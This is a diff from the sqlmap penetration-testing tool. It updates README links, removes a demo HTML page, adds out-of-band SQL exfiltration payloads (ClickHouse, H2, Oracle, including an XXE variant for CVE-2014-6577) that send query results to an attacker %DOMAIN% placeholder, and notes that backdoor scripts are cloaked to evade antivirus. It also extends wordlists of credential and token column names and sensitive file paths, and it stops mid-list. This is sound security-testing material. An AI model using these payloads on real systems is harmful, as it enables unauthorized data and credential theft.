----
|
----
|
||||||
|
|
||||||
@@ -16,13 +14,13 @@ You can visit the [collection of screenshots](https://github.com/sqlmapproject/s
|
|||||||
Installation
|
Installation
|
||||||
----
|
----
|
||||||
|
|
||||||
You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
You can download the latest tarball by clicking [here](https://github.com/sqlmapproject/sqlmap/tarball/master) or latest zipball by clicking [here](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||||
|
|
||||||
Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository:
|
Preferably, you can download sqlmap by cloning the [Git](https://github.com/sqlmapproject/sqlmap) repository:
|
||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap works out of the box with [Python](http://www.python.org/download/) version **2.6**, **2.7** and **3.x** on any platform.
|
sqlmap works out of the box with [Python](https://www.python.org/download/) version **2.7** and **3.x** on any platform.
|
||||||
|
|
||||||
Usage
|
Usage
|
||||||
----
|
----
|
||||||
@@ -41,33 +39,44 @@ To get an overview of sqlmap capabilities, a list of supported features, and a d
|
|||||||
Links
|
Links
|
||||||
----
|
----
|
||||||
|
|
||||||
* Homepage: http://sqlmap.org
|
* Homepage: https://sqlmap.org
|
||||||
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* User's manual: https://github.com/sqlmapproject/sqlmap/wiki
|
* User's manual: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Playground: https://sekumart.sekuripy.hr
|
||||||
|
* Research: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|
||||||
Translations
|
Translations
|
||||||
----
|
----
|
||||||
|
|
||||||
|
* [Arabic](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ar-AR.md)
|
||||||
|
* [Bengali](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bn-BD.md)
|
||||||
* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md)
|
* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md)
|
||||||
* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
|
* [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md)
|
||||||
* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
|
* [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
|
||||||
|
* [Dutch](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-nl-NL.md)
|
||||||
* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
|
* [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md)
|
||||||
* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-GER.md)
|
* [Georgian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ka-GE.md)
|
||||||
|
* [German](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-de-DE.md)
|
||||||
* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
|
* [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
|
||||||
|
* [Hindi](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-in-HI.md)
|
||||||
* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
|
* [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
|
||||||
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
||||||
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
||||||
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
|
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
|
||||||
|
* [Kurdish (Central)](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ckb-KU.md)
|
||||||
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
|
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
|
||||||
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
||||||
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
||||||
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RU.md)
|
||||||
|
* [Serbian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-rs-RS.md)
|
||||||
|
* [Slovak](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-sk-SK.md)
|
||||||
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
|
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
|
||||||
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
|
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
|
||||||
* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
|
* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
|
||||||
|
* [Vietnamese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-vi-VN.md)
|
||||||
|
|||||||
@@ -1,150 +0,0 @@
|
|||||||
<!DOCTYPE html>
|
|
||||||
|
|
||||||
<!-- http://angrytools.com/bootstrap/editor/ -->
|
|
||||||
|
|
||||||
<html lang="en">
|
|
||||||
<head>
|
|
||||||
<meta charset="utf-8">
|
|
||||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
|
||||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
|
|
||||||
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
|
|
||||||
|
|
||||||
<!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<style>
|
|
||||||
#wrapper { width: 100%; }
|
|
||||||
|
|
||||||
#page-wrapper {
|
|
||||||
padding: 0 15px;
|
|
||||||
min-height: 568px;
|
|
||||||
background-color: #fff;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media(min-width:768px) {
|
|
||||||
#page-wrapper {
|
|
||||||
position: inherit;
|
|
||||||
margin: 0 0 0 250px;
|
|
||||||
padding: 0 30px;
|
|
||||||
border-left: 1px solid #e7e7e7;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
.sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
|
|
||||||
.sidebar .sidebar-search { padding: 15px; }
|
|
||||||
.sidebar ul li { border-bottom: 1px solid #e7e7e7; }
|
|
||||||
|
|
||||||
.sidebar ul li a.active { background-color: #eee; }
|
|
||||||
|
|
||||||
.sidebar .arrow { float: right;}
|
|
||||||
.sidebar .fa.arrow:before { content: "f104";}
|
|
||||||
.sidebar .active>a>.fa.arrow:before { content: "f107"; }
|
|
||||||
.sidebar .nav-second-level li,
|
|
||||||
.sidebar .nav-third-level li {
|
|
||||||
border-bottom: 0!important;
|
|
||||||
}
|
|
||||||
|
|
||||||
.sidebar .nav-second-level li a { padding-left: 37px; }
|
|
||||||
.sidebar .nav-third-level li a { padding-left: 52px; }
|
|
||||||
|
|
||||||
@media(min-width:768px) {
|
|
||||||
.sidebar {
|
|
||||||
z-index: 1;
|
|
||||||
position: absolute;
|
|
||||||
width: 250px;
|
|
||||||
margin-top: 51px;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
<div id="wrapper">
|
|
||||||
|
|
||||||
<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
|
|
||||||
<div class="navbar-header">
|
|
||||||
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
|
|
||||||
<span class="sr-only">Toggle navigation</span>
|
|
||||||
<span class="icon-bar"></span>
|
|
||||||
<span class="icon-bar"></span>
|
|
||||||
<span class="icon-bar"></span>
|
|
||||||
</button>
|
|
||||||
<a class="navbar-brand" href="index.html">sqlmap</a>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="navbar-default sidebar" role="navigation">
|
|
||||||
<div class="sidebar-nav navbar-collapse">
|
|
||||||
<ul class="nav" id="side-menu">
|
|
||||||
<li>
|
|
||||||
<a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
|
|
||||||
<ul class="nav nav-second-level">
|
|
||||||
<li><a>Target</a></li>
|
|
||||||
<li><a>Request</a></li>
|
|
||||||
<li><a>Optimization</a></li>
|
|
||||||
<li><a>Injection</a></li>
|
|
||||||
<li><a>Detection</a></li>
|
|
||||||
<li><a>Techniques</a></li>
|
|
||||||
<li><a>Fingerprint</a></li>
|
|
||||||
<li><a>Enumeration</a></li>
|
|
||||||
<li><a>Brute force</a></li>
|
|
||||||
<li><a>User-defined function injection</a></li>
|
|
||||||
<li><a>File system access</a></li>
|
|
||||||
<li><a>Operating system access</a></li>
|
|
||||||
<li><a>Windows registry access</a></li>
|
|
||||||
<li><a>General</a></li>
|
|
||||||
<li><a>Miscellaneous</a></li>
|
|
||||||
</ul>
|
|
||||||
</li>
|
|
||||||
</ul>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</nav>
|
|
||||||
|
|
||||||
<div id="page-wrapper">
|
|
||||||
<div class="row">
|
|
||||||
<h4>DEMO</h4>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
<script>
|
|
||||||
/*
|
|
||||||
* metismenu - v1.0.3
|
|
||||||
* Easy menu jQuery plugin for Twitter Bootstrap 3
|
|
||||||
* https://github.com/onokumus/metisMenu
|
|
||||||
*
|
|
||||||
* Made by Osman Nuri Okumuş
|
|
||||||
* Under MIT License
|
|
||||||
*/
|
|
||||||
!function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
|
|
||||||
|
|
||||||
$(function() {
|
|
||||||
|
|
||||||
$('#side-menu').metisMenu();
|
|
||||||
|
|
||||||
});
|
|
||||||
|
|
||||||
//Loads the correct sidebar on window load,
|
|
||||||
//collapses the sidebar on window resize.
|
|
||||||
// Sets the min-height of #page-wrapper to window size
|
|
||||||
$(function() {
|
|
||||||
$(window).bind("load resize", function() {
|
|
||||||
topOffset = 50;
|
|
||||||
width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
|
|
||||||
if (width < 768) {
|
|
||||||
$('div.navbar-collapse').addClass('collapse')
|
|
||||||
topOffset = 100; // 2-row-menu
|
|
||||||
} else {
|
|
||||||
$('div.navbar-collapse').removeClass('collapse')
|
|
||||||
}
|
|
||||||
|
|
||||||
height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
|
|
||||||
height = height - topOffset;
|
|
||||||
if (height < 1) height = 1;
|
|
||||||
if (height > topOffset) {
|
|
||||||
$("#page-wrapper").css("min-height", (height) + "px");
|
|
||||||
}
|
|
||||||
})
|
|
||||||
});
|
|
||||||
</script>
|
|
||||||
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
|
|
||||||
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
|
|
||||||
</body>
|
|
||||||
</html>
|
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
SELECT count(*) FROM url('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', 'CSV', 'c String')
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
SELECT FILE_READ('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', NULL)
|
||||||
|
# or SELECT CSVREAD('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/')
|
||||||
@@ -1,2 +1,3 @@
|
|||||||
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
|
SELECT UTL_INADDR.GET_HOST_ADDRESS('%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
|
||||||
# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
|
# or SELECT UTL_HTTP.REQUEST('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%') FROM DUAL
|
||||||
|
# or (CVE-2014-6577) SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/"> %remote;]>'),'/l') FROM dual
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
|
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
|
||||||
|
|
||||||
To prepare the original scripts to the cloaked form use this command:
|
To prepare the original scripts to the cloaked form use this command:
|
||||||
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
|
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
|
||||||
|
|
||||||
To get back them into the original form use this:
|
To get back them into the original form use this:
|
||||||
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
|
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+163
-1
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
id
|
id
|
||||||
@@ -485,6 +485,8 @@ llave
|
|||||||
chaveta
|
chaveta
|
||||||
tono
|
tono
|
||||||
cuna
|
cuna
|
||||||
|
correo
|
||||||
|
contrasenia
|
||||||
|
|
||||||
# german
|
# german
|
||||||
|
|
||||||
@@ -798,7 +800,9 @@ news
|
|||||||
nick
|
nick
|
||||||
number
|
number
|
||||||
nummer
|
nummer
|
||||||
|
passhash
|
||||||
pass_hash
|
pass_hash
|
||||||
|
password_hash
|
||||||
passwordsalt
|
passwordsalt
|
||||||
personal_key
|
personal_key
|
||||||
phone
|
phone
|
||||||
@@ -1840,6 +1844,10 @@ banner_id
|
|||||||
error
|
error
|
||||||
language_id
|
language_id
|
||||||
val
|
val
|
||||||
|
parol
|
||||||
|
familiya
|
||||||
|
imya
|
||||||
|
otchestvo
|
||||||
|
|
||||||
# site:jp
|
# site:jp
|
||||||
|
|
||||||
@@ -2670,6 +2678,7 @@ jeda
|
|||||||
jenis
|
jenis
|
||||||
jml
|
jml
|
||||||
judul
|
judul
|
||||||
|
jumlah
|
||||||
kata_kunci
|
kata_kunci
|
||||||
kata_sandi
|
kata_sandi
|
||||||
katakunci
|
katakunci
|
||||||
@@ -2682,6 +2691,7 @@ kunci
|
|||||||
lahir
|
lahir
|
||||||
nama
|
nama
|
||||||
nama_akun
|
nama_akun
|
||||||
|
nama_ibu_kandung
|
||||||
nama_pengguna
|
nama_pengguna
|
||||||
namaakun
|
namaakun
|
||||||
namapengguna
|
namapengguna
|
||||||
@@ -2691,6 +2701,7 @@ pengguna
|
|||||||
penjelasan
|
penjelasan
|
||||||
perusahaan
|
perusahaan
|
||||||
ponsel
|
ponsel
|
||||||
|
profesi
|
||||||
ruang
|
ruang
|
||||||
sandi
|
sandi
|
||||||
soal
|
soal
|
||||||
@@ -2698,6 +2709,7 @@ surat_elektronik
|
|||||||
surel
|
surel
|
||||||
tanggal
|
tanggal
|
||||||
tanggal_lahir
|
tanggal_lahir
|
||||||
|
telepon
|
||||||
tempat
|
tempat
|
||||||
tempat_lahir
|
tempat_lahir
|
||||||
tmp_lahir
|
tmp_lahir
|
||||||
@@ -2723,6 +2735,156 @@ ssn
|
|||||||
account
|
account
|
||||||
confidential
|
confidential
|
||||||
|
|
||||||
|
# site:nl
|
||||||
|
|
||||||
|
naam
|
||||||
|
straat
|
||||||
|
gemeente
|
||||||
|
beschrijving
|
||||||
|
id_gebruiker
|
||||||
|
gebruiker_id
|
||||||
|
gebruikersnaam
|
||||||
|
wachtwoord
|
||||||
|
telefoon
|
||||||
|
voornaam
|
||||||
|
achternaam
|
||||||
|
geslacht
|
||||||
|
huisnummer
|
||||||
|
gemeente
|
||||||
|
leeftijd
|
||||||
|
|
||||||
|
# site:cn
|
||||||
|
|
||||||
|
yonghuming
|
||||||
|
mima
|
||||||
|
xingming
|
||||||
|
xingbie
|
||||||
|
touxiang
|
||||||
|
youxiang
|
||||||
|
shouji
|
||||||
|
|
||||||
# Misc
|
# Misc
|
||||||
|
|
||||||
u_pass
|
u_pass
|
||||||
|
hashedPw
|
||||||
|
|
||||||
|
# API keys, tokens and secrets
|
||||||
|
|
||||||
|
api_key
|
||||||
|
apikey
|
||||||
|
api_token
|
||||||
|
access_token
|
||||||
|
refresh_token
|
||||||
|
auth_token
|
||||||
|
session_token
|
||||||
|
remember_token
|
||||||
|
secret_key
|
||||||
|
client_secret
|
||||||
|
encryption_key
|
||||||
|
reset_token
|
||||||
|
password_reset_token
|
||||||
|
verification_token
|
||||||
|
confirmation_token
|
||||||
|
otp
|
||||||
|
otp_secret
|
||||||
|
totp_secret
|
||||||
|
mfa_secret
|
||||||
|
two_factor_secret
|
||||||
|
|
||||||
|
# Framework and identity columns
|
||||||
|
|
||||||
|
deleted_at
|
||||||
|
uuid
|
||||||
|
role
|
||||||
|
is_admin
|
||||||
|
is_active
|
||||||
|
is_verified
|
||||||
|
date_of_birth
|
||||||
|
dob
|
||||||
|
credit_card
|
||||||
|
postal_code
|
||||||
|
|
||||||
|
# password (international)
|
||||||
|
|
||||||
|
adgangskode
|
||||||
|
aikotoba
|
||||||
|
amho
|
||||||
|
bimilbeonho
|
||||||
|
codewort
|
||||||
|
contrasena
|
||||||
|
contrasenya
|
||||||
|
contrasinal
|
||||||
|
esmeramz
|
||||||
|
facalfare
|
||||||
|
fjalekalim
|
||||||
|
focalfaire
|
||||||
|
gagtnabar
|
||||||
|
geslo
|
||||||
|
gozarvazhe
|
||||||
|
gunho
|
||||||
|
haslo
|
||||||
|
heslo
|
||||||
|
hudyat
|
||||||
|
igamalokungena
|
||||||
|
iphasiwedi
|
||||||
|
javka
|
||||||
|
jelszo
|
||||||
|
kadavucol
|
||||||
|
kalameobur
|
||||||
|
kalimatumurur
|
||||||
|
kalimatusirr
|
||||||
|
kalmarsirri
|
||||||
|
katalaluan
|
||||||
|
katasandi
|
||||||
|
kennwort
|
||||||
|
kodeord
|
||||||
|
kodikos
|
||||||
|
kouling
|
||||||
|
kupiasoz
|
||||||
|
kupuhipa
|
||||||
|
kupukaranga
|
||||||
|
kupuuru
|
||||||
|
kupuwhakahipa
|
||||||
|
losen
|
||||||
|
losenord
|
||||||
|
lozinka
|
||||||
|
lykilord
|
||||||
|
matkhau
|
||||||
|
mima
|
||||||
|
nenosiri
|
||||||
|
nywila
|
||||||
|
okwuntughe
|
||||||
|
oroasina
|
||||||
|
oroigbaniwole
|
||||||
|
paeseuwodeu
|
||||||
|
parol
|
||||||
|
parola
|
||||||
|
parolachiave
|
||||||
|
paroladordine
|
||||||
|
parole
|
||||||
|
paroli
|
||||||
|
parolja
|
||||||
|
parool
|
||||||
|
parulle
|
||||||
|
pasahitza
|
||||||
|
pasfhocal
|
||||||
|
pasowardo
|
||||||
|
passord
|
||||||
|
passwort
|
||||||
|
pasuwado
|
||||||
|
pasvorto
|
||||||
|
rahatphan
|
||||||
|
ramzobur
|
||||||
|
salasana
|
||||||
|
salasona
|
||||||
|
santoysena
|
||||||
|
senha
|
||||||
|
sifra
|
||||||
|
sifre
|
||||||
|
sisma
|
||||||
|
slaptazodis
|
||||||
|
synthimatiko
|
||||||
|
tunnussana
|
||||||
|
wachtwoord
|
||||||
|
wachtwurd
|
||||||
|
wagwoord
|
||||||
|
|||||||
+117
-67
@@ -1,6 +1,12 @@
|
|||||||
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
|
# CTFs
|
||||||
|
|
||||||
|
/flag
|
||||||
|
/flag.txt
|
||||||
|
/readflag
|
||||||
|
|
||||||
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
|
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
|
||||||
|
|
||||||
/apache/logs/access.log
|
/apache/logs/access.log
|
||||||
@@ -679,17 +685,6 @@
|
|||||||
|
|
||||||
/.htaccess
|
/.htaccess
|
||||||
/.htpasswd
|
/.htpasswd
|
||||||
/[jboss]/server/default/conf/jboss-minimal.xml
|
|
||||||
/[jboss]/server/default/conf/jboss-service.xml
|
|
||||||
/[jboss]/server/default/conf/jndi.properties
|
|
||||||
/[jboss]/server/default/conf/log4j.xml
|
|
||||||
/[jboss]/server/default/conf/login-config.xml
|
|
||||||
/[jboss]/server/default/conf/server.log.properties
|
|
||||||
/[jboss]/server/default/conf/standardjaws.xml
|
|
||||||
/[jboss]/server/default/conf/standardjboss.xml
|
|
||||||
/[jboss]/server/default/deploy/jboss-logging.xml
|
|
||||||
/[jboss]/server/default/log/boot.log
|
|
||||||
/[jboss]/server/default/log/server.log
|
|
||||||
/access.log
|
/access.log
|
||||||
/access_log
|
/access_log
|
||||||
/apache/conf/httpd.conf
|
/apache/conf/httpd.conf
|
||||||
@@ -1024,17 +1019,17 @@
|
|||||||
/mysql/my.cnf
|
/mysql/my.cnf
|
||||||
/mysql/my.ini
|
/mysql/my.ini
|
||||||
/netserver/bin/stable/apache/php.ini
|
/netserver/bin/stable/apache/php.ini
|
||||||
/opt/[jboss]/server/default/conf/jboss-minimal.xml
|
/opt/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/opt/[jboss]/server/default/conf/jboss-service.xml
|
/opt/jboss/server/default/conf/jboss-service.xml
|
||||||
/opt/[jboss]/server/default/conf/jndi.properties
|
/opt/jboss/server/default/conf/jndi.properties
|
||||||
/opt/[jboss]/server/default/conf/log4j.xml
|
/opt/jboss/server/default/conf/log4j.xml
|
||||||
/opt/[jboss]/server/default/conf/login-config.xml
|
/opt/jboss/server/default/conf/login-config.xml
|
||||||
/opt/[jboss]/server/default/conf/server.log.properties
|
/opt/jboss/server/default/conf/server.log.properties
|
||||||
/opt/[jboss]/server/default/conf/standardjaws.xml
|
/opt/jboss/server/default/conf/standardjaws.xml
|
||||||
/opt/[jboss]/server/default/conf/standardjboss.xml
|
/opt/jboss/server/default/conf/standardjboss.xml
|
||||||
/opt/[jboss]/server/default/deploy/jboss-logging.xml
|
/opt/jboss/server/default/deploy/jboss-logging.xml
|
||||||
/opt/[jboss]/server/default/log/boot.log
|
/opt/jboss/server/default/log/boot.log
|
||||||
/opt/[jboss]/server/default/log/server.log
|
/opt/jboss/server/default/log/server.log
|
||||||
/opt/apache/apache.conf
|
/opt/apache/apache.conf
|
||||||
/opt/apache/apache2.conf
|
/opt/apache/apache2.conf
|
||||||
/opt/apache/conf/apache.conf
|
/opt/apache/conf/apache.conf
|
||||||
@@ -1075,17 +1070,6 @@
|
|||||||
/private/etc/httpd/httpd.conf
|
/private/etc/httpd/httpd.conf
|
||||||
/private/etc/httpd/httpd.conf.default
|
/private/etc/httpd/httpd.conf.default
|
||||||
/private/etc/squirrelmail/config/config.php
|
/private/etc/squirrelmail/config/config.php
|
||||||
/private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/jboss-service.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/jndi.properties
|
|
||||||
/private/tmp/[jboss]/server/default/conf/log4j.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/login-config.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/server.log.properties
|
|
||||||
/private/tmp/[jboss]/server/default/conf/standardjaws.xml
|
|
||||||
/private/tmp/[jboss]/server/default/conf/standardjboss.xml
|
|
||||||
/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
|
|
||||||
/private/tmp/[jboss]/server/default/log/boot.log
|
|
||||||
/private/tmp/[jboss]/server/default/log/server.log
|
|
||||||
/proc/cpuinfo
|
/proc/cpuinfo
|
||||||
/proc/devices
|
/proc/devices
|
||||||
/proc/meminfo
|
/proc/meminfo
|
||||||
@@ -1114,17 +1098,17 @@
|
|||||||
/proc/self/stat
|
/proc/self/stat
|
||||||
/proc/self/status
|
/proc/self/status
|
||||||
/proc/version
|
/proc/version
|
||||||
/program files/[jboss]/server/default/conf/jboss-minimal.xml
|
/program files/jboss/server/default/conf/jboss-minimal.xml
|
||||||
/program files/[jboss]/server/default/conf/jboss-service.xml
|
/program files/jboss/server/default/conf/jboss-service.xml
|
||||||
/program files/[jboss]/server/default/conf/jndi.properties
|
/program files/jboss/server/default/conf/jndi.properties
|
||||||
/program files/[jboss]/server/default/conf/log4j.xml
|
/program files/jboss/server/default/conf/log4j.xml
|
||||||
/program files/[jboss]/server/default/conf/login-config.xml
|
/program files/jboss/server/default/conf/login-config.xml
|
||||||
/program files/[jboss]/server/default/conf/server.log.properties
|
